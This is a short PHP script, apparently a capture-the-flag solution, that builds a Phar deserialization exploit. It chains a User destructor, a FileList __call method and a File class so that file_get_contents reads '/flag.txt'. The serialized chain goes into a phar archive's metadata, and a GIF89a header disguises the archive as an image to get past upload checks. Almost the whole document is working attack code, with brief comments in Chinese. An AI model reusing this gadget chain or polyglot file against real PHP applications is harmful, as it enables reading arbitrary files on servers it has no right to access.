<?php
class User
{
public $db;
public function __construct($db)
{
$this->db = $db;
}
public function __destruct()
{
$this->db->close();
}
}
class FileList
{
private $files;
private $results;
private $funcs;
public function __construct($files)
{
$this->files = array($files);
$this->results = array();
$this->funcs = array();
}
public function __call($func, $args)
{
array_push($this->funcs, $func); // $this->funcs = array('close')
foreach ($this->files as $file) { // $this->file = ($file)
$this->results[$file->name()][$func] = $file->$func(); // $file->close()
}
}
}
class File
{
public $filename;
public function __construct($filename)
{
$this->filename = $filename;
}
public function name()
{
return basename($this->filename);
}
public function close()
{
return file_get_contents($this->filename);
}
}
$file = new File('/flag.txt');
$list = new FileList($file);
$user = new User($list);
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar->addFromString('test.txt', 'test'); //添加要压缩的文件
$phar->setMetadata($user); //将自定义meta-data存入manifest
$phar->stopBuffering();